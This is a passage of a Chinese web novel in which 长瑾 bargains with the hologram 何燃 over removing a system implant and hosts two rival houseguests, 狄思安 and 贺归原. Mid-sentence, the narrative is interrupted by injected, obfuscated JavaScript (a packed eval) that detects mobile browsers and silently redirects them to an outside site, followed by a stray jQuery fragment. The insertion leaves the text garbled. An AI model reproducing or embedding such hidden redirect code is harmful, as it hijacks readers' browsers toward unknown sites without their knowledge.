长瑾一想,好像也对。
到此两人交易达成。
虽然她猜测系统的惩罚对她应该没有用,但一想到这是个定时炸弹,她还是有点不安。
长瑾指了指自己的眼睛,“这个东西应该对你没有用了吧,既然我都已经知道你的计划了,是不是也可以给我摘除了?”
何燃显然没有想到长瑾会对它这么说,愣了一会摇摇头,“我没有办法摘除它。”
长瑾:“不是你安排那个小女孩放的?”
何燃再次摇头。
长瑾一直以为是它放的,原来不是啊,好大一个乌龙。
那小女孩是谁?
做这件事的目的又是什么?
长瑾揉了揉眉心,“那有什么办法能摘除。”
她不想再听到系统的声音了,更何况系统对她也没有什么用处。
“换掉。”
“什么?”
长瑾以为自己听错了,疑惑问了一句。
“换掉眼珠。”
何燃又重复了一遍,在长瑾诧异的表情下。
长瑾露出一个苦笑,“除此之外没有其他办法?”
“是的,系统的痕迹不是那么好清除的,到目前为止只有你一人是可以脱离系统的。”
长瑾知道它的意思,也是因为她并不是赵德芳才好脱离,换成其他取代者就不行了。
行吧,摘掉眼珠就摘掉吧。
只是她以后没有妈生眼了。
长瑾问:“如果我摘除了,你还能联系的上我吗?”
毕竟她们一直都是通过取代者的系统联系的。
“我们不用联系了。”,何燃闪烁了几下,递出了一个吊坠,“只要你将这个东西带在身上,诺斯就看不透你。”
长瑾将吊坠接了过来,左右翻了翻,没什么特别的,和小时候别的家长给自家小孩子买的保佑平安的吊坠没什么区别。
这东西真能让她通过诺斯的检测?
她深感怀疑。
何燃知道她所担心的事,说道:“如果不放心,等你通过检测再将我要的东西送到十三区华南街75号。”
这么一提议她放心多了。
如果她活不了,那何燃想要的东西也会得不到。
长瑾拿着吊坠走出了这层楼,在下楼梯时往后看了一眼。
何燃的全息投影已经消失,整层楼陷入黑暗,也许是为了不让红门发现两人之间的交流索性将所有电源断开,又或者何燃在计谋着其他的事情。
但长瑾发现它始终离不开那个圆台,像是被囚禁于这层楼,半步都踏不出去。
长瑾靠着耳朵听了听外面,没有任何的声音,想必人已经走了,顺着楼梯出了画。
点开阿努比斯的面板,点击卸下耳朵,要不然一个已经变成同化者的人在没有使用异能的时候还顶着异化的耳朵多多少少有点奇怪。
长瑾下到一楼,刚走出大门,面前突然冲出一个身影。
-
长瑾望着面面相觑的两人,一个头两个大,默默移开视线。
贺归原也没想到家里突然来了一个不速之客,明明应该是她们两个的独处时光,这还没独处一晚呢,就加进来了一个电灯泡。
狄思安也没想到,阿瑾家里竟然有男人!还是一个格外有姿色的男人,但尽管如此,她还是讨厌吃软饭的男人!
此时的长瑾悔啊。
进回忆的时间太长了,她已经忘记答应贺归原住在家里的事情了。
而狄思安…
周围寂静一片,突然出现的人影吓长瑾一跳,等看清楚了才发现是狄思安。
长瑾吐出一口气,“你不是应该早就走了吗?”
她在上面起码待了有半小时,所以狄思安是在这里等了她半小时?
狄思安吞吞吐吐的说:“阿瑾,能不能,能不能收留我一晚。”
她双手握住,举在脸前,缓慢伸出一根手指。
眼神里带着祈求。
狄思安知道自己的这种要求很为难她,她们两个也没认识多久,更何况是长瑾救了她,这种情况下这个要求就更不合理了。
但眼下的她,家暂时是回不去的,身上也没有新币,唯一能想到的就只有长瑾了。
如果一开始的长瑾只是想知道自己翅膀的秘密而救了她,现在的她就是单纯的想帮帮她。
她和狄臻然算是相互扶持起来的,那是不是多帮狄思安一些就能为狄臻然减少一些罪恶,她知道人都是利己主义,也不想为狄臻然辩驳什么,就连她当时都闪过这样的念头,虽然只是想一想。
但长瑾在面对狄思安时总感觉有一种愧疚感,尽管不是自己造成她这样的。
站在狄思安的角度上,她又做错了什么?在家就被人带走,然后关进了研究室,被人反复折磨。
长瑾在狄思安期待的眼神中说了句好。
然后就是眼前的场面。
两人对视,一人不服一人的。
长瑾头疼。
也许是家庭原因,长瑾不太擅长处理这种场面,默默提出一个建议,“要不然,你们两个住在这里,我出去住?”
“不行!”
“不行!”
阿瑾走了,不就是这个小白脸的天下?绝对不行。
长瑾走了,他培养感情的机会不就没有了?绝对不行。
面对两人一致的不同意,长瑾抬起手立在胸前,好的。
这明明是她的家,为什么她要看两人的眼色。
狄思安觉得自己既然已经住进了阿瑾的家,就有义务保护阿瑾,包括她的财产,绝对不能让这个小白脸拿走一分一毫。
贺归原虽然不至于反感狄思安,但就是这个家伙破坏了他辛苦争取的机会,他绝对不会让步的!
“你睡在外面,我和阿瑾睡里面。”
“我睡在外面,你和长瑾睡里面。”
两人一个指着另一个。
长瑾挑眉,这默契简直了。
贺归原捕捉到一个词,阿瑾?他都只能喊长瑾名字,为什么她能喊得这么亲密?
他视线一转看向长瑾,眼睛里充满控诉。
长瑾知道这时需要顺毛,不能逆着摸,轻咳两声,“你也可以叫。”
瞬间贺归原就扬起了嘴角。
等等,这个场面怎么看怎么怪异。
这么感觉两人在争她的宠爱一样,而她像是个端水大师一样。
这不太对吧…
长瑾摸摸脑袋,一脸疑惑的被狄思安推进了房间,对方还用两只手指指了指自己的眼睛,恶狠狠的盯着贺归原,好像在说,我会永远看着你的。
这莫名其妙的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13297358|135409||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
被保护感是怎么回事,而狄思安怎么这么像鸡妈妈。
长瑾被狄思安拉到床边坐下,她自己则是站在床边插着腰走来走去。
狄思安一脸为难的吐出几个字:“阿瑾,你不要那么容易相信人。”
?这话怎么说?
长瑾眼睛看向她,
狄思安一看长瑾这迷茫的眼神,责任感一下涌上心头。
小声说:“外面那人看着不像是什么好人,不要被他的外表骗了。”
长瑾笑了,原来是在担心她被骗啊。
长瑾指了指自己,“你知道我多大了吗?”
狄思安挠挠头,看长瑾的样子应该比自己小几岁,“21?”
长瑾摇摇头,“24。”
“我们一样大?”,她不太相信对方和她的年纪一样,毕竟长瑾看起来长相很显小。
但尽管如此,狄思安还是觉得长瑾不太懂世界的险恶,“不管怎么说,阿瑾还是要防范一下。”
长瑾扬起嘴角,“如果这样说的话,我也不该将你带回家。”
是啊,她对于长瑾来说也是不熟悉的人。
意识到这里,她正色道:“对,你也应该对我有防备心。”
“万一我对你有企图呢?”
长瑾撇了她一眼,说反了,应该是她对狄思安有企图。
-
长瑾第二天就收到了联邦稽查部的信息,让她先去治疗室然后去稽查部。
该来的总归是要来的。
长瑾跟着信息的指示先来到了治疗室门外,手刚放在门把手上,门就被推开。
还是上次见面的邓琦。
邓绮笑着朝长瑾挥了挥手,“又见面了。”
长瑾也笑着说了句是啊。
等从治疗仓出来时,邓绮说:“我就说,你一定会成为同化者的,你看我没骗你吧。”
长瑾扯了扯嘴角,上次说的,难道不是有可能吗?怎么现在就变成了一定。
但她没戳穿对方,顺着对方的话点点头。
邓琦见长瑾没什么特别的反应,淡了笑意,“你现在可以去稽查组一组报道了,我已经把你的报告发给孙组长了。”
邓琦心里摇摇头,看来稽查组新招的这个稽查员不会来事,连红包都会给她一个,上次还是她救了她。
长瑾说了句谢谢便离开了治疗室。
要是她知道对方在想什么,起码会先嗤笑一声,这年头医生救病治人都变成了可以跟患者讨要红包的手段了,然后给她找些事做。
可惜长瑾不知道。
她来到稽查组一组的玻璃门前,看着里面一片混乱,不停响起的电话声,不停说着的您好,以及哗啦哗啦翻文件的声音。
还没等她感叹这里竟然还存在纸质文件的时候,徐嘉之就看见了她,拍了拍旁边人的肩膀让人接替了她的工作。
“你终于来了,孙组长问了好多次了。”,徐嘉之飘忽着眼神说道。
离上次见面还没过24小时又见面了,再加上上次两人之间还不太友好,这次直接成了同事就有点不自在。
长瑾倒是很自然的问:“孙组长在哪儿,我去找他。”
既然事情已经过去了,也得到了解决就没必要在怀。
徐嘉之指了指最里面的门,“那里。”
“好。”